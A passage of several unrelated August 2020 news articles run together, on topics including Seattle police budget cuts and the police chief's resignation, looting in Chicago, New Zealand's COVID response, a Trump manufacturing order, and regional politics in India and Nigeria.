Russian. He hopes to pursue a career in defense or foreign affairs. Just dont expect him to engage in politics as usual. I still really want to serve the U.S., Feinstein said. I dont know if I want to go into elected office. Rene Guzman is a features reporter in the San Antonio and Bexar County area. He writes about pop culture and what makes San Antonio so uniquely puro San Antonio. To read more from Rene, become a subscriber. rguzman@express-news.net | Twitter: @reneguz Several Nebraska Democrats celebrated Joe Bidens choice of California Sen. Kamala Harris as the Democratic vice presidential nominee, making her the first woman of color on either major partys presidential ticket. Janet Goodman Banks, who attends Christ Place Church in Lincoln, said she was ecstatic and elated at Tuesdays announcement by Biden, the presumptive Democratic presidential nominee. Banks, who is Black, said she was pleased to see a candidate recognize the work so many Black women have done to help Democratic candidates including Biden win elections. In South Carolina, it was the Black church ladies with the pretty church hats that saved his political life, she said. Its more than appropriate for him to have picked a Black woman. Charlene Ligon, chairwoman of the Sarpy County Democratic Party, called Tuesday historic. She said Bidens pick reaffirmed her optimism about the value of striving for women and people of color. It lifts me up in a lot of ways, Ligon said. I knew you need to keep moving, that we would move forward. Sometimes it can seem difficult, but we shouldnt give up. For worried school districts wondering how they would handle Covid-19 testing and tracing, the health commissioners of Erie and Niagara counties sent them a message this week: Weve got this. Schools are not in charge of testing, Erie Countys Dr. Gale R. Burstein said Monday. They are in charge of teaching. Niagara County Public Health Director Daniel J. Stapleton told school administrators that mass testing of students and staff before school starts is not necessary. However, once a student does test positive for the virus, the county will perform contact tracing, but it is up to the schools to keep track of who the infected student came into contact with. Gov. Andrew M. Cuomo last week said school districts had to post their plans for testing and contact tracing on their websites as a condition to reopen schools. Erie and Niagara districts at least know they have willing partners in their health departments. Putting together reopening schemes involves endless complications, not the least of which is the fact that a new wave of Covid-19 outbreaks could wreck the best-laid plans like a toddler swatting a jigsaw puzzle. Police officers block a street as city crews dismantle the Capitol Hill Organized Protest (CHOP) area outside of the Seattle Police Department's vacated East Precinct, in Seattle, Wash., on July 1, 2020. (David Ryder/Getty Images) Seattle City Council Approves Nearly $4 Million in Cuts to Police Department The Seattle City Council on Monday approved nearly $4 million in cuts to the citys police department, a precursor to plans for larger cuts in next years budget. Reducing the budget of the Seattle Police Department is a response to the calls for advocating for racial justice and investments in BIPOC communities, Council President M. Lorena Gonzalez, a Democrat, said in a statement after the vote. BIPOC stands for black, indigenous, and people of color. Cuts to the police include terminating 32 patrol officers and slashing the number of some specialized units like mounted officers and school resource officers. Seattle has approximately 1,400 police officers and a yearly police budget of approximately $400 million. Council members also approved the elimination of the Navigation Team, which responds to homelessness issues, and voted to move victim advocates from within the police department to the human services department. People carry signs during a Defund the Police march from King County Youth Jail to City Hall in Seattle, Wash., on Aug 5, 2020. (Jason Redmond/AFP via Getty Images) The amendments were first passed by the councils budget committee last week before being passed during a vote Monday by the full council on the revised 2020 budget. Along with the cuts, the council approved appropriating $17 million to scale up community-led public safety interventions, including $3 million for participatory budgeting for public safety. The vote came on the same day the citys budget office showed that 2020 revenues are projected to bring in $337 million less revenue compared to estimates in the adopted budgeta 19 percent drop. Some councilmembers pushed to replace some police functions with a civilian-led department and slash a full 50 percent from the police departments budget in a plan from Black Lives Matter activists but failed to garner enough support, for now. Initial Cuts City officials, however, are already planning deeper cuts for next years budget, on which work will start in the coming weeks. Seattle City Council member Kshama Sawant speaks as demonstrators hold a rally outside of the Seattle Police Departments abandoned East Precinct, in Seattle on June 8, 2020. (David Ryder/Getty Images) The city council in a statement described the approval of defunding as initial cuts and a down-payment for future potential reductions to the departments budget. They have faced opposition. In a letter to council members last week, Jason Johnson, the acting director of the Seattle Human Services Department, said he was greatly concerned regarding your action to eliminate the Navigation Team with no plan on how to address issues like encampments, of which there are over 250 active. I hope you will reconsider your decisions, and fully fund continuation of the Navigation Teams life-saving, vital work, he wrote. Hundreds gathered in Seattle on Sunday to oppose proposed cuts, arguing the city would be less safe with fewer police officers. Police Chief Carmen Best told officers in a message made public last month that it was completely reckless to ask the people of Seattle to test out a theory that crime goes away if police go away. Seattle Police Chief Carmen Best addresses the press as city crews dismantle the Capitol Hill Organized Protest (CHOP) area after multiple shootings, in Seattle on July 1, 2020. (David Ryder/Getty Images) Police officials last week rolled out a website they said highlighted in-depth information on the departments policies regarding de-escalation and other measures, data on crime and calls for service, and internal manuals. Best and Democratic Seattle Mayor Durkan repeatedly said they were against deep cuts but last month unveiled a proposed $76 million in reduced funding, in an apparent bid to temper movement towards a larger defunding. We both recognize that we have a historical opportunity and obligation to reimagine how policing can be done in Seattle. We believe deeply in broad community investments, which can build greater community health, and less need to call 911 for help. And when someone does call 911, we want them to get the help they need, Durkan said at a press conference. The proposal would move the 911 call center, parking enforcement, and the Office of Police Accountability out of the agency. About $20 million would be saved from freezing hires and cutting down on overtime. Best called it a comprehensive re-envisioning of what community safety could look like here in Seattle. The city councils move on Monday follows other cities cutting police funding. The Los Angeles City Council last month approved cutting $150 million to the LAPD. The New York City City Council around the same time slashed some $1 billion from the citys police agency. And the Portland City Council in June approved cutting at least $15 million from the citys police bureau. Minneapolis officials proposed dismantling its police department but those efforts were blocked last week so commissioners could review the move. A Turkish drone strike struck a military vehicle north of Erbil, killing two Iraqi border guard battalion commanders and their driver, the Iraqi military said Tuesday. According to the Kurdish news outlet Rudaw, the strike in the Bradost area in northern Iraq targeted a meeting between border officials and fighters with the Kurdistan Workers Party (PKK), which Ankara considers a terrorist group. Bradost Mayor Ihsan Chelebi told the Associated Press that the officers killed Tuesday had been setting up new posts in the area. Turkey has long targeted PKK strongholds in neighboring Iraq it says are used by the militants to launch cross-border attacks inside Turkey. Tuesday's strike appears to be the first to kill regular Iraqi forces since the start of Turkeys latest military campaign in Iraq. The Turkish military expanded its operations in June, launching a wave of airstrikes against Kurdish militants in the Yazidi homeland of Sinjar and the Qandil mountains. The Turkish defense minister said on Sunday that Turkey had neutralized 83 militants since June 16, a term indicating they were killed, captured or surrendered. Local media outlets have also confirmed the deaths of several civilians during Turkeys most recent anti-PKK campaign. Human Rights Watch blasted Turkey for failing to minimize risk to civilians following a June 25 strike targeting a PKK-linked Iranian armed group. The attack injured at least six civilians and damaged a popular waterpark in the Kurdish province of Sulaimaniyah. The PKK, which the United States and the European Union also label a terrorist organization, has waged a decades-long violent insurgency against the Turkish state thats left more than 40,000 dead on both sides. Turkey widened operations against the group following the July 2019 assassination of a Turkish diplomat in Erbil that both Turkey and Iraqi Kurdish officials blamed on the PKK. In October 2019, Turkey launched a military operation in northern Syria to drive away from its border the Kurdish-led Syrian Democratic Forces, elements of which Ankara considers terrorists linked to the PKK. Source: Xinhua| 2020-08-11 16:01:21|Editor: huaxia Video Player Close KUNDUZ, Afghanistan, Aug. 11 (Xinhua) -- Eight Taliban militants including their commander Mullah Saif Rahman were killed as their explosive device went off prematurely in the northern Kunduz province on Tuesday, the spokesman for provincial government Esmatullah Muradi said. "A group of insurgents under Mullah Safi Rahman were planting a mine on a road in Ali Abad district early today morning to target security forces convoys but the device exploded accidentally, killing eight including their commander on the spot," Muradi told Xinhua. Two more militants were critically injured in the blast, the official added. In a similar accident, two Taliban fighters were killed and two others wounded as their mine exploded prematurely in Khawja Ghar district of Kunduz neighboring Takhar province on Monday. The Taliban outfit which is largely relying on roadside bombings and suicide attacks have yet to make comment. Enditem The announcement of the second merit list for undergraduate courses (UG) by the University of Mumbai (MU) on Tuesday brought little relief to students, as the cut-offs for most top colleges witnessed only a marginal dip from the previous list on August 6. Bachelor of arts (BA) aspirants were in for a shock as the cut-offs in top colleges for the course barely dipped by 1-2 percentage points, with St Xaviers College, one of the most prominent institutes for the course, having no seat left for aspirants in the general category in the second list. On Tuesday, the college only released the second merit list for aspirants who applied under the Christian minority quota. In the first merit list, St Xaviers College had closed its list for the BA course at 92% for state board students and 98.6% for students from other boards. At KC College, the merit list for the BA course saw a dip of less than 1 percentage point from the first list, while the cut-off list for Jai Hind Colleges witnessed a drop by less than 2 percentage point. At Ramnarain Ruia College, the second list for BA saw a 1.1 percentage point decline in the cut-off from the first list, with only nine seats left to be allotted under the general category. For the Bachelors of Commerce (BCom) course, cut-offs in the second merit list declined around 2-5 percentage points across top colleges. Among the unaided courses, the demand for Bachelors in Mass Media (BMM) and Bachelors in Management Studies (BMS) courses remained high, with most top colleges witnessing only 1-3 percentage points difference in the cut-off. As we have an in-house quota, most of the seats are confirmed. So there are very few seats left for the general category. BMM (English) is a popular course and the seats for it get filled up soon, said Anushree Lokur, principal, Ruia college. Principals are still hopeful over the availability of seats in top colleges in the third merit list. Usually, the same student applies to more than one college, and with every list that is announced, many withdraw admissions to seek re-admission to another college of their choice. There will still be seats left for the third merit list and students need not be disheartened, said Parag Thakkar, principal of HR College. The cut-offs for other unaided courses such as Bachelors of Accounting and Finance (BAF), Bachelors of Banking Insurance (BBI) and Bachelors of Financial Markets (BFM), too, remained high in the second list. SHARE THIS ARTICLE ON CHICAGO Hundreds of people descended on downtown Chicago early Monday following a police shooting on the citys South Side, with vandals smashing the windows of dozens of businesses and making off with merchandise, cash machines and anything else they could carry, police said. Police Superintendent David Brown told reporters that the Sunday afternoon shooting of a man who had opened fire on officers apparently prompted a social media post that urged people to form a car caravan and converge on the business and shopping district. Some 400 additional officers were dispatched to the area after the department spotted the post. Over several hours, police made more than 100 arrests and 13 officers were injured, including one who was struck in the head with a bottle, Brown said. Brown dismissed any suggestion that the chaos was part of an organized protest of the shooting, calling it pure criminality that included occupants of a vehicle opening fire on police who were arresting a man they spotted carrying a cash register. No officers were wounded by gunfire, but a security guard and a civilian were hospitalized in critical condition after being shot, and five guns were recovered, he said. Mayor Lori Lightfoot agreed that the melee had nothing to do with a protest. This was straight-up felony criminal conduct, she said. This was an assault on our city. The mayhem brightened the national spotlight that has been on Chicago for weeks after a surge in gun violence that resulted in more homicides in July than any month in decades. President Donald Trump, who repeatedly has criticized the citys handling of the violence, recently ordered more federal agents to Chicago to take part in what Attorney General William Barr called classic crime fighting. Further ratcheting up the tensions in the city was a video circulating on Facebook that falsely claimed that Chicago police had shot and killed a 15-year-old boy. Posted at 6:30 p.m. Sunday, the video shows upset residents confronting officers near the scene where police shot and wounded an adult suspect they said had fired at them that day. By Monday morning, the footage had been watched nearly 100,000 times. Witnesses to the unrest described a scene that bore a striking resemblance to the unrest that unfolded when protests over the death of George Floyd in Minneapolis devolved into chaos. Brown suggested that the lenient treatment of people arrested then played a role in what happened Monday. Not many of those cases were prosecuted to the full extent, he said. These looters, these thieves, these criminals being emboldened by (the lack of) consequences emboldened to do more. At the same news conference, Lightfoot addressed looters directly, telling them that police had collected a lot of surveillance video and other evidence that will be used to arrest and prosecute as many as possible. We saw you, and we will come after you, she warned. Cook County States Attorney Kim Foxx disputed any suggestion that her office had shied away from prosecuting people who were arrested for ransacking businesses weeks ago. She said none of those cases had been dropped. That is simply not true, she said. Those cases are coming to court now. Videos of the vandalism showed huge crowds of people smashing their way into businesses and streaming out of the broken windows and doors with clothes and other merchandise. They loaded up vehicles, some moving slowly and deliberately, apparently not worried about being caught by police or being recorded by scores of cellphone cameras. Vehicles drove away slowly, some leaving behind boxes of rocks that they had apparently brought to shatter the windows. Cash register drawers and clothes hangers were strewn about the streets, along with automatic teller machines that had been ripped from walls or pulled from inside businesses. Stores miles from downtown also were ransacked, their parking lots littered with glass and boxes that once contained television sets and other electronics. This was obviously very orchestrated, the Rev. Michael Pfleger, a prominent Roman Catholic priest and activist on the citys South Side, told Chicago television station WBBM. The havoc left some downtown residents rattled. Ive lived here for 20 years, and its getting scary, because you cant walk out now, said Alan Freeman, who lives in the downtown area. You dont know if theyre going to start with the people walking on the streets, instead of the stores. Train and bus service into downtown temporarily was suspended, and bridges over the Chicago River were lifted, preventing travel to and from the downtown area. Some highway ramps also were closed. Although those restrictions were eased later in the day, they were to be reimposed beginning Monday evening until this morning. Brown said the police department would maintain a huge presence in the downtown area indefinitely, telling reporters that all days off had been canceled until further notice. On the South Side, police responded about 2:30 p.m. Sunday to a call about a person with a gun in the Englewood neighborhood and tried to confront someone matching his description in an alley. He fled from officers on foot and shot at officers, police said. Officers returned fire, wounding the man, who was taken to a hospital for treatment. He was expected to recover. Three officers also were taken to a hospital for observation, the statement said. Brown later said the 20-year-old man had a long criminal history, including arrests for domestic battery and child endangerment. A gun was recovered at the scene, he said. More than an hour after the shooting, police and witnesses said a crowd faced off with officers after someone reportedly told people that police had shot and wounded a child. That crowd eventually dispersed. But police later came across the social media post about a caravan of cars being prompted to go to our downtown to loot, Brown said. Within 15 minutes, we respond and almost immediately the caravan is in our downtown area. (Natural News) President Donald Trump has signed an executive order (EO) to bring the production of pharmaceuticals and medical supplies back to the United States, and out of communist China. While speaking at a Whirlpool Corporation manufacturing facility in Clyde, Ohio, Trump spoke about the need to end reliance on China just like we did with the washers and dryers. As we celebrate Whirlpools 109-year legacy of American Manufacturing excellence, today I want to lay out my vision to bring millions more jobs and thousands more factories back to American shores, where they belong, Trump is quoted as saying. Back in 2018, Trump imposed tariffs on imported washers and dryers to help domestic companies like Whirlpool, which is based out of Michigan, better compete. Since that time, Whirlpools nine factories across the United States have thrived. During the course of the next four years, we will bring our pharmaceutical and medical supply chains home, Trump announced about the next phase of ending Americas reliance on communist China to produce goods. We cannot rely on China and other nations across the globe. Entitled, Combating Public Health Emergencies and Strengthening National Security by Ensuring Essential Medicines, Medical Countermeasures, and Critical Inputs are Made in the United States, Trumps EO covers a broad swath of products ranging from masks, gloves, and goggles to medical equipment such as ventilators. One component of the EO includes a Buy American provision that applies to government agencies such as the departments of Veterans Affairs, Health and Human Services (HHS), and Defense, requiring them to purchase American-made medical products. The second component involves making it easier for the Food and Drug Administration (FDA) and the Environmental Protection Agency (EPA) to approve the development of advanced manufacturing facilities here in the U.S. as opposed to in China. According to White House trade adviser Peter Navarro, this new regulatory approach will help to create a more rational and streamlined regulatory process to address threats to national security in a timelier manner. The final component of the EO aims to keep pharmaceutical drug prices as low as possible in order to catalyze advanced manufacturing and continuous manufacturing techniques, according to Navarro. The objective is to create economies of scale and scope to help reduce the cost of production in the United States, writes Emel Akan for The Epoch Times. Trump: No more counterfeit medicines coming in from China Trumps overall goal, in keeping with his campaign promises, is to foster more demand for domestic-made products. Trump also wants to create more incentives both to make and buy American, so as to cut off communist China from the gravy train. Another component of Trumps plan is to stop the trafficking in of counterfeit medicines from communist China. As we have seen with the Wuhan coronavirus (COVID-19) plandemic, China will capitalize on any opportunity to harm America and American interests, and Trump wants to put an end to the many loopholes if you can even call them that that allow the communist nation to take advantage of our country. The Obama-Biden administration was perfectly happy to let China win, your jobs disappear, and your factories close, Trump is quoted as saying to his audience at Whirlpool. Trump is further planning to reign in the supply chains of other sectors, including electronic, machine tools, shipping, aerospace, automobiles, iron, and steel. Should he win a second term, Trump will have more than enough time to get the job done, and hopefully restore Americas long-decimated manufacturing base, which has been incrementally gutted by the globalists for at least the past half-century. More related news stories about what President Trump is doing in the lead-up to the 2020 presidential election are available at Trump.news. Sources for this article include: TheEpochTimes.com NaturalNews.com Nobody is surprised that DMK MP Kanimozhi, daughter of the late M Karunanidhi, complained about the treatment she received at the hands of a Central Industrial Security Force (CISF) officer at the Chennai airport. She tweeted that when she requested the officer to speak in English as she did not know Hindi, he taunted her with the question are you Indian. I would like to know since when being Indian is equal to knowing Hindi, she said. The DMK leader received support from former Union minister P Chidambaram who said he too has faced such taunts from officials. This was really surprising because Chidambaram has held powerful portfolios in Congress-led governments for several years and had never complained about this before. He is perhaps making the charge now since the Congress is a DMK ally, even though it has never supported the anti-Hindi stand of Dravidian parties in Tamil Nadu. Kanimozhi, who has been an MP for nearly six years, is said to have exhibited her knowledge of Hindi in Parliament and even translated a poem by another north Indian politician in the House. Though Tamil Nadu has been opposing the imposition of Hindi since 1937, even before the DMK was born, protests gained momentum only in 1965, resulting in violent riots. It is a known fact that the DMK, which spearheaded the anti-Hindi movement, came to power in 1967 fanning Tamil nationalism. Since then no national party could set foot in Tamil Nadu. CN Annadurai, the first DMK chief minister, piloted the two-language policy in 1968 with Tamil and English, and no space for Hindi .Perhaps Tamil Nadu is the only southern state which has adopted the two-language formula more for political reasons. With elections for the state assembly just eight months away, there is a need for the opposition DMK to fan its core principle of protesting against what it calls Hindi imposition. It has vehemently opposed the new National Education Policy recently approved by the central cabinet as an attempt to impose Hindi and Sanskrit in schools. The NEP has been opposed by almost all parties in the state with an eye on the vote bank. Observers say that more and more people in Tamil Nadu have come forward to learn Hindi in the past two decades, and attempts to ignite anti-Hindi sentiment have failed. However, any attempt to introduce Hindi in any manner is resisted promptly by the Dravidian parties which always look at the BJP as a chauvinistic party waiting to impose Hindi and Sanskrit. However, when need arose, DMK leaders were not averse to speaking in Hindi as seen in a video in which a senior leaders son was seeking votes in Hindi during election campaign. Even the late Karunanidhi once said that Dayanidhi Maran should be voted for Parliament because he was fluent in Hindi. Kanimozhis stand is in accordance with her partys principles, but it is surprising that party president MK Stalin came out with a statement much later than Chidambaram. This is seen by many as Stalins reluctance to allow his sister to grow in importance in the party. The ousted national chairman of the All Progressives Congress (APC), Adams Oshiomhole, on Monday encountered seeming disgrace in Esan Land, Edo State, during the governorship election campaign for the APC candidate, Pastor Osagie Ize-Iyamu in Uromi. The embattled former Governor of Edo State, perhaps, being conscious of the public opprobrium awaiting him in the state because of his legacy, changed his campaign strategy from dancing at campaign venues to kneeling to beg for forgiveness. Oshiomhole within his reasoning imposed the burden of sin upon himself for which he has continually been kneeling and begging for forgiveness, most times attempting to beguile Edo leaders and stakeholder into believing that incumbent Governor Godwin Obaseki is the problem of the state. Meanwhile, Oshiomhole appeared to have led the APC candidate, Ize-Iyamu, into a hypothetical electioneering misfortune at the palace of the Enogie of Igueben on Monday. National Daily learnt that other traditional rulers were invited by the Enogie of Igueben where the APC leaders coordinating Ize-Iyamus governorship campaign were hosted. A PDP stakeholder in Edo State, Andrew Emwata, on AIT morning programme on Tuesday monitored by National Daily from Lagos, said that most traditional rulers did not receive Oshiomhole with open hands. He said that at the opening session of the meeting with traditional rulers, journalists who accompanied the APC campaign team were ordered to go out. According to Emwata, it was at the time that journalists were sent out that Oshiomhole knelt before the traditional rulers begging for forgiveness. Unfortunately, that section of the meeting was recorded by a participant at the meeting, and the video later leaked where Oshiomhole knelt before the traditional rulers. Emwata recalled that Oshiomhole dethroned the Enogie of Uromi when he was Governor of Edo State. He added that the former Edo governor transferred his aggression of having political dispute with Chief Tony Anenih to dethrone the Enogie of Uromi, noting that he has at last come back to the royal father on his knees. Barrister Emwata said that Governor Obaseki of Edo State later intervened and reinstated the Enogie of Uromi. Emwata alleged that Oshiomhole was later walked out of the meeting with the traditional rulers. This was, however, refuted by a chieftain of the APC, Dan Osa-Ogbegie, who said that the traditional rulers prayed for the APC candidate, Ize-Iyamu at the meeting. Emwata discounted Osa-Ogegie, saying that the APC governorship candidate was rejected in Edo Central, which he insisted has been a stronghold of the PDP since 1999. Emwata also said that the Enogie of Uromi at the meeting of traditional rulers with the APC leaders in Igueben, banned Oshiomhole and the APC campaign team from visiting his palace in Uromi. Emwata was of the view that Oshiomhole is suffering political karma, adding that APC has been rejected in Edo Central. Earl Gray, an attorney for Lane, filed the footage last month as evidence supporting a motion to have charges against his client dismissed, making the footage public record under Minnesota law. The attorney has argued that Lane, who had been on the force for less than a week, showed an effort to intervene by twice asking Chauvin if they should shift Floyds body as they held him to the ground, citing concerns about excited delirium, a term used by medical examiners to describe the sudden in-custody death of people who may be under the influence of drugs or in an agitated state. But the video depicts no urgency in Lanes voice as he makes the suggestion. A retirement village in New Zealand has been put into lockdown over fears of an outbreak of coronavirus, just days after the nation celebrated 100 days without any cases. The Village Palms Retirement Community in Christchurch said eight residents were displaying flu-like symptoms and had prompted the sudden lockdown. A letter was sent out out to family members on Tuesday saying swabs had been sent off for COVID-19 testing, NZ Herald reported. 'We currently have several residents on our first-floor care unit who are displaying symptoms of a respiratory illness,' the letter says. Regional manager John Amesbury said it was a normal precaution to alert public health if more than three residents showed signs of respiratory illness. The Village Palms Retirement Community (pictured) in Christchurch said eight residents displaying flu-like symptoms had prompted the sudden lockdown New Zealand has gone 100 days without community transmission of coronavirus. Pictured: The nation's infections since between March and August 'There's nothing to suggest it's anything other than the normal flu,' he said. A spokesperson from the Canterbury District Health Board said the sick residents were being tested as a precaution. 'The facility also contacted a local GP who has arranged for a number of people to be tested, as is the usual process during winter when a number of respiratory illness routinely circulate,' he said in a statement. The spokesperson said they were also testing for other respiratory viruses. The news comes just days after New Zealand recorded 100 days without a single case of community transmission of the virus. Prime Minister Jacinda Ardern plunged her nation into one of the harshest lockdowns in the world in March and has reaped the rewards since, with the last case of community transmission on May 1. That was just 63 days after the island nation of five million reported its first infection on February 28. Prime Minister Jacinda Ardern (pictured) has been praised for her handling of the global pandemic by swiftly introducing strict measures to eliminate the deadly virus Residents in Wellington wear face masks on March 24 as they leave a supermarket after buying supplies one day before the country goes into lockdown New Zealand has recorded 1,219 infections and 22 deaths since the beginning of the pandemic. The numbers are a drop in the ocean when compared to other countries still battling thousands of cases and deaths. There are more than 19.2 million coronavirus cases across the world and at least 719,800 people have died. Ms Ardern has been praised for her handling of the global pandemic by swiftly introducing strict measures to eliminate the deadly virus. THREE MEASURES FOR NEW ZEALAND'S SUCCESS Shutting the border to everyone except to citizens, permanent residents and their families to stop coronavirus from entering Strict lockdown to stop COVID-19 from spreading within the community Ongoing control: Testing, contact tracing and quarantine Advertisement Three measures have been hailed as the drivers behind New Zealand's success, including: border controls, lockdown and case-based controls. Australia adopted a similar method of suppression but has since seen a second deadly wave of infections ravage Victoria - with cases creeping into New South Wales, Queensland and South Australia. Ms Ardern announced the 'toughest border restrictions of any country in the world' in mid-March when she enforced mandatory self-isolation for all international arrivals. The country had just six coronavirus cases at the time of the announcement. Less than a week later on March 20, Ms Ardern closed the country's borders for the first time in New Zealand's history. The number of COVID-19 infections had scaled past 20. New Zealand's borders remain shut to this day and only Kiwi citizens, permanent residents and their family members can enter the country. Ms Ardern continued to move quickly, declaring a State of National Emergency to fight COVID-19 and putting all residents into Alert Level 4 - 'eliminate' - from 11.59pm on March 25. All non-essential businesses and educational facilities were forced to close and Kiwis were required to stay home for four weeks. Speaking halfway through the strict lockdown, Ms Ardern said lives had been saved by following the 'huge' changes. Modelling provided to my office by economist Rodney Jones on the eve of the lockdown suggested New Zealand was on a similar trajectory to potentially Italy and Spain and that our 205 cases on the 25th of March could have grown to over 10,000 by now without the actions we have taken together,' she said on April 9. Pictured: Passengers wear protective masks and gloves at Auckland International Airport in April Prime Minister Jacinda Ardern speaks during a Mihi Whakatau, formal speech of welcome, during a visit to Cardrona Alpine Resort on June 26 as Queenstown's ski season opens 'And new modelling due to be released later today by Te Punaha Matatini suggests that the current controls at Alert Level 4 have already had a significant impact on new case numbers and we are on track to meet their most optimistic scenario. 'We are turning a corner, and your commitment means our plan is working.' At the end of April, New Zealand moved to Alert Level 3 and then to Alert Level 2 on in May as coronavirus infections continued to decline. Mr Ardern said elimination doesn't mean zero cases. 'It means zero tolerance for cases. It means when a case emerges, and it will, we test, we contact trace, we isolate, and we do that every single time with the ambition that when we see COVID-19, we eliminate it,' she said. 'That is how we will keep our transmission rate under 1, and it is how we will keep succeeding.' The continuous tracking of cases allowed New Zealand to stop coronavirus from spreading through the community. New Zealand entered strict lockdown at the end of March to stop the spread of coronavirus. Pictured: A view of empty Lambton Quay in Wellington during lockdown in April New Zealand entered Alert Level 1 at 11.59pm on Monday June 8. There were no active coronavirus cases in the country and it had been 40 days since community transmission. Last month, Ms Ardern said the second outbreak in Victoria is a 'cautionary tale' to learn from. 'It appears their current outbreak is linked to a managed isolation facility similar to the ones we run here,' she said. 'That goes to show how quickly the virus can spread and it can move from being under control to out of control, and that even the best plans still carry risk in a pandemic.' New Zealand has continued to report COVID-19 cases in returned travellers but the infections have not travelled into the community. There were 22 active cases as of August 11. New York - This years Equator Prize Award Ceremony themed Nature for Life will honour ten outstanding Indigenous and local groups from across the world. Each winner showcases innovative, nature-based solutions for tackling biodiversity, climate change, and poverty challenges. The event highlights concrete responses and practical solutions to the environmental crisis from Indigenous peoples and local communities all over the world. During the pandemic, calls for green recovery have been loud and clear, and the world is hungry for nature-based solutions. The ten winners of the Equator Prize 2020 provide blueprints for addressing the socioeconomic crisis caused by COVID-19 at the local level with green approaches. "Indigenous peoples and local communities are vulnerable and have been hit heavily by the pandemic. At the same time, their resilience and ingenuity in the stewardship over their traditional territories show the pathway to sustainable development at the local level", said Jamison Ervin, Manager, UNDPs Global Program on Nature for Development, Bureau for Policy and Programme Support. "We look forward to celebrating the achievements of the winners - each of them demonstrating how the protection, restoration, and sustainable management of natural ecosystems can provide clean water, protect our climate, and contribute to prosperity." The high-profile event, held virtually this year, will feature award presentations, videos on winning initiatives, community statements and government commitments, as well as musical and cultural performances. The Ceremony will be held on September 29th, in conjunction with the UN Biodiversity Summit on September 30th and the UN General Assembly (both also virtual). Countries featured in the Ceremony include: Canada, Democratic Republic of the Congo, Ecuador, Guatemala, Indonesia, Kenya, Madagascar, Mexico, Myanmar and Thailand. For a full list of winning communities, please visit https://www.equatorinitiative.org/2020/06/02/meet-the-winners-of-the-equator-prize-2020/ More specific details on roster of presenters, time and links to follow. Interviews with Equator Prize winners and select speakers are available on request. For media requests please contact: Sangita Khadka, sangita.khadka@undp.org and Lesley Wright, lesley.wright@undp.org. More information on the Equator Prize is available here. An in-depth analysis of the significance of this years winners is available here. Follow the Equator Initiative on Twitter, Instagram and Facebook. InterGlobe Aviation, which operates airline major IndiGo, has decided to raise funds worth Rs 4,000 crore. Accordingly, the company will issue equity shares by way of a qualified institutions placement to raise the fund. The decision was taken by the company's board in its meeting held on Monday. "We hereby inform you that the Board of Directors of lnterGlobe Aviation limited, at its meeting held today, i.e., August 10, 2020, has considered and approved the raising of funds for an aggregate amount not exceeding INR 4,000 crore through an issue of equity shares by way of a qualified institutions placement, in accordance with the relevant provisions of applicable law and subject to approval of the Company's shareholders and receipt of applicable regulatory approvals," the company said in a regulatory filing. The decision comes days after the company posted its highest ever quarterly net loss at Rs 2,844.3 crore for the first quarter of 2020-21. It had posted a profit of Rs 1,203.1 crore in the like period of the previous fiscal. IndiGo had a total cash balance of Rs 184,498 million comprising Rs 75,276 million of free cash and Rs 109,222 million of restricted cash. The capitalised operating lease liability was Rs 211,779 million. The total debt (including the capitalised operating lease liability) was Rs 235,516 million," the company had said in a statement last month. In its outlook, the company said it expects the Q2 fiscal 2021 to be around 40 per cent of Q2 FY20. Seattle Police Chief Carmen Best holds a press conference outside of the departments vacated East Precinct in the area known as the Capitol Hill Organized Protest (CHOP) in Seattle on June 29, 2020. (David Ryder/Getty Images) Seattle Police Chief Carmen Best Resigns After Council Cuts Funding for Police Department Seattle Police Chief Carmen Best announced her resignation on Tuesday, one day after the City Council cut nearly $4 million from the police departments budget. Im sad to leave in some ways, but when its time its time, Best said at a press conference with Seattle Mayor Jenny Durkan, a Democrat. Asked what motivated her to step down, Best referenced the City Councils push to replace many police functions with a civilian-led department and dramatically slash the number of sworn officers. I really think that we needed to have a plan moving forward. It was highly disappointing not to see that, Best said. It really is about the overarching lack of respect for the officers, she added later. Seattle has struggled with a rise in anti-police sentiment in recent months. Demonstrators occupied a portion of the city for weeks starting in early June, an occupation tolerated by city officials until several shootings took place, leaving two black men dead. Clashes between officers and demonstrators have since taken place, including a riot on July 26 that left 59 officers injured. Explosives were discovered in a van used to equip rioters with weapons. Construction buildings burn near the King County Juvenile Detention Center after being set on fire by rioters in Seattle, Wash., on July 25, 2020. (Ted S. Warren/AP Photo) Best said the decision did not stem from her pay being cut or demonstrators showing up at one of her residences but called the targeting of high-level staff salaries vindictive. Best, in her mid-50s, started with the Seattle Police Department in 1992 and moved her way up the ranks. She became interim chief of police in 2018 before being appointed permanent chief by Durkan later that year. Best was Seattles first black female chief of police. Durkan praised the retiring police chief, calling her the right person to help reimagine policing in this city. Chief Best, I think, invented the phrase continuous improvement,' she added. Adrian Diaz, an assistant chief, will become interim chief next month. The search for the police chief wont begin until next year, the mayor said, because shes not sure what job shed be hiring for, another reference to the City Council. What job would they be applying for? she asked. Police officers look on at protesters in Seattle, Washington, on July 20, 2020. (Elaine Thompson/AP Photo) Councilmembers on Monday approved cuts of about 1 percent to the police departments budget but have vowed to explore deeper cuts for next years budget. The approved cuts will slash the number of officers by up to 100 from the approximately 1,400-strong force. Members eliminated an entire team, which was focused on response to homeless issues, and reduced the number of officers of some specialized units. Councilmembers Alex Pedersen and Andrew Lewis, both Democrats, emphasized in statements released on Tuesday that they voted against the budget amendment that cut Bests pay I am deeply saddened by the resignation of our Police Chief Carmen Best, Pedersen said, calling Best one of the best leaders to help lead the hard negotiations needed to fix the police contracttodays expensive and unreasonable police contract is among the biggest impediments to revamping and boosting public safety in all communities. Lewis said he was grateful for the access and resources Best granted the council during budget deliberations. Cutting the salary of the first black woman to serve as chief to a level below her white predecessor does not sit well with me either, he said. It is clear from the public statements of Chief Best that these pay cuts to her and her team weighed heavily in her decision to leave public service, and it is a significant and sad loss. Jack Phillips contributed to this report. Dr Katarina Arandjelovic, an anaesthetics registrar at Royal Melbourne Hospital's intensive care unit, took to social media to blast the 'perverse' parking rangers A doctor putting her health on the line every day treating coronavirus patients has blasted 'perverse' parking wardens for slapping her with a fine while she was saving lives. Dr Katarina Arandjelovic, an anaesthetics registrar at Royal Melbourne Hospital's intensive care unit, called out the City of Melbourne council and Lord Mayor Sally Capp for targeting essential workers during the pandemic. After working 56 hours over four days and taking care of 'some of the state's sickest patients', Dr Arandjelovic finished her gruelling shift at 10pm on Monday to find a $99 fine on her windshield. 'It is not easy, but every single person in that building is working their butt off right now. It is inspiring. We make sacrifices and turn up - day in, day out, to serve you,' she said. 'So I guess City of Melbourne and Sally Capp, slapping fines on our cars is one hell of a thank you.' The doctor said healthcare workers have been told to avoid public transport to reduce the risk of contracting 